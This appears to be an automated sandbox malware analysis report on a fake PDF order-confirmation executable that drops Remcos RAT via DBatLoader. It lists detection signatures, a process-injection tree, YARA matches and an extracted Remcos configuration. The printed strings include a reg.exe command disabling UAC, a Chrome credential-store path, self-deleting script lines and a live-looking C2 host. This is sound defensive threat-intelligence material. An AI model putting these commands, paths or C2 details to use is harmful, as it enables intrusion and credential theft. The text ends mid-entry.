Edit tour

Windows Analysis Report
Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Overview

General Information

Sample Name:	Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
Analysis ID:	652390
MD5:	8e60c68e832622b0ebd88a612898a9f9
SHA1:	99c8a0db1608b7f3fe783829f13a6a594554f142
SHA256:	6f4628db14ddcff78f5b0ad2c62f6791e4b29901eb9ef8a3686a2b7019308a99
Tags:	exegeoTUR
Infos:

Detection

Remcos, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Remcos RAT

Yara detected DBatLoader

Detected Remcos RAT

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected UAC Bypass using ComputerDefaults

Contains functionality to capture and log keystrokes

Writes to foreign memory regions

Found stalling execution ending in API Sleep call

Contains functionality to steal Firefox passwords or cookies

Contains functionality to register a low level keyboard hook

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to steal Chrome passwords or cookies

Contains functionality to inject code into remote processes

Contains functionalty to change the wallpaper

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Uses dynamic DNS services

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query locales information (e.g. system language)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to enumerate running services

Contains functionality to dynamically determine API calls

Contains functionality to read the clipboard data

IP address seen in connection with other malware

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Detected TCP or UDP traffic on non-standard ports

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Potential key logger detected (key state polling based)

Creates a process in suspended mode (likely to inject code)

Contains functionality to simulate mouse events

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe (PID: 6356 cmdline: "C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe" MD5: 8E60C68E832622B0EBD88A612898A9F9)

logagent.exe (PID: 6552 cmdline: C:\Windows\System32\logagent.exe MD5: E2036AC444AB4AD91EECC1A80FF7212F)

Eluiezilfw.exe (PID: 6880 cmdline: "C:\Users\Public\Libraries\Eluiezilfw.exe" MD5: 8E60C68E832622B0EBD88A612898A9F9)

logagent.exe (PID: 3960 cmdline: C:\Windows\System32\logagent.exe MD5: E2036AC444AB4AD91EECC1A80FF7212F)

Eluiezilfw.exe (PID: 5628 cmdline: "C:\Users\Public\Libraries\Eluiezilfw.exe" MD5: 8E60C68E832622B0EBD88A612898A9F9)

DpiScaling.exe (PID: 5936 cmdline: C:\Windows\System32\DpiScaling.exe MD5: 302B1BBDBF4D96BEE99C6B45680CEB5E)

cleanup

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "Pw`~hustlelord.ddns.net:5017:", "Assigned name": "BIG", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-MZPAVR", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "wikipedia;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "10000"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\wflizeiulE.url	Methodology_Shortcut_HotKey	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x5a:$hotkey: \x0AHotKey=8 0x0:$url_explicit: [InternetShortcut]
C:\Users\Public\Libraries\wflizeiulE.url	Methodology_Contains_Shortcut_OtherURIhandlers	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x14:$file: URL= 0x0:$url_explicit: [InternetShortcut]
C:\Users\Public\Libraries\Eluiezilfw.exe	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000E.00000002.344931678.0000000000D80000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000008.00000002.344209783.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000008.00000002.348456214.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
00000008.00000002.347399894.0000000003760000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000D.00000002.360030568.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x17147:$s1: \Classes\mscfile\shell\open\command 0x171bf:$s1: \Classes\mscfile\shell\open\command 0x17127:$s2: eventvwr.exe
00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x17e9f:$name: Remcos 0x18217:$name: Remcos 0x1876f:$name: Remcos 0x187c2:$name: Remcos 0x17003:$time: %02i:%02i:%02i:%03i 0x1708b:$time: %02i:%02i:%02i:%03i 0x18573:$time: %02i:%02i:%02i:%03i 0x4a03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x18087:$str_a1: C:\Windows\System32\cmd.exe 0x180a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x180a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x1778b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x17d8f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1736f:$str_b2: Executing file: 0x18127:$str_b3: GetDirectListeningPort 0x17bcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x17ec3:$str_b5: licence_code.txt 0x17e2b:$str_b6: \restart.vbs 0x17d4f:$str_b8: \uninstall.vbs 0x172fb:$str_b9: Downloaded file: 0x17327:$str_b10: Downloading file: 0x1701f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1738b:$str_b12: Failed to upload file: 0x18167:$str_b13: StartForward 0x1814b:$str_b14: StopForward 0x17cbf:$str_b15: fso.DeleteFile " 0x17d23:$str_b16: On Error Resume Next 0x17c8b:$str_b17: fso.DeleteFolder " 0x173a3:$str_b18: Uploaded file:
00000008.00000002.346405704.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.315120211.0000000003610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x17147:$s1: \Classes\mscfile\shell\open\command 0x171bf:$s1: \Classes\mscfile\shell\open\command 0x17127:$s2: eventvwr.exe
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x17e9f:$name: Remcos 0x18217:$name: Remcos 0x1876f:$name: Remcos 0x187c2:$name: Remcos 0x17003:$time: %02i:%02i:%02i:%03i 0x1708b:$time: %02i:%02i:%02i:%03i 0x18573:$time: %02i:%02i:%02i:%03i 0x4a03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x18087:$str_a1: C:\Windows\System32\cmd.exe 0x180a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x180a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x1778b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x17d8f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1736f:$str_b2: Executing file: 0x18127:$str_b3: GetDirectListeningPort 0x17bcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x17ec3:$str_b5: licence_code.txt 0x17e2b:$str_b6: \restart.vbs 0x17d4f:$str_b8: \uninstall.vbs 0x172fb:$str_b9: Downloaded file: 0x17327:$str_b10: Downloading file: 0x1701f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1738b:$str_b12: Failed to upload file: 0x18167:$str_b13: StartForward 0x1814b:$str_b14: StopForward 0x17cbf:$str_b15: fso.DeleteFile " 0x17d23:$str_b16: On Error Resume Next 0x17c8b:$str_b17: fso.DeleteFolder " 0x173a3:$str_b18: Uploaded file:
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x17147:$s1: \Classes\mscfile\shell\open\command 0x171bf:$s1: \Classes\mscfile\shell\open\command 0x17127:$s2: eventvwr.exe
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x17e9f:$name: Remcos 0x18217:$name: Remcos 0x1876f:$name: Remcos 0x187c2:$name: Remcos 0x17003:$time: %02i:%02i:%02i:%03i 0x1708b:$time: %02i:%02i:%02i:%03i 0x18573:$time: %02i:%02i:%02i:%03i 0x4a03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x18087:$str_a1: C:\Windows\System32\cmd.exe 0x180a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x180a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x1778b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x17d8f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1736f:$str_b2: Executing file: 0x18127:$str_b3: GetDirectListeningPort 0x17bcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x17ec3:$str_b5: licence_code.txt 0x17e2b:$str_b6: \restart.vbs 0x17d4f:$str_b8: \uninstall.vbs 0x172fb:$str_b9: Downloaded file: 0x17327:$str_b10: Downloading file: 0x1701f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1738b:$str_b12: Failed to upload file: 0x18167:$str_b13: StartForward 0x1814b:$str_b14: StopForward 0x17cbf:$str_b15: fso.DeleteFile " 0x17d23:$str_b16: On Error Resume Next 0x17c8b:$str_b17: fso.DeleteFolder " 0x173a3:$str_b18: Uploaded file:
00000000.00000002.306973875.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000D.00000000.326994994.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.316837700.000000007FD20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.315970483.0000000003AEC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
00000008.00000002.349121751.000000007FD20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000008.00000000.309996740.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.317153227.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000008.00000002.347895283.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
00000000.00000002.312930120.0000000003050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000D.00000002.361029837.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000D.00000002.360948526.000000007FD20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.315787933.0000000003968000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
0000000D.00000002.358808877.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000008.00000002.349277729.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
0000000D.00000002.360606462.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
0000000D.00000002.360296603.0000000003760000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
00000000.00000000.259960102.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
0000000D.00000002.360448965.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
Process Memory Space: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe PID: 6356	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
Process Memory Space: logagent.exe PID: 6552	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: Eluiezilfw.exe PID: 6880	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
Process Memory Space: DpiScaling.exe PID: 5936	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.logagent.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
3.2.logagent.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
3.2.logagent.exe.400000.0.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
3.2.logagent.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3ad0000.7.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
15.2.DpiScaling.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
15.2.DpiScaling.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
15.2.DpiScaling.exe.400000.0.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
15.2.DpiScaling.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder 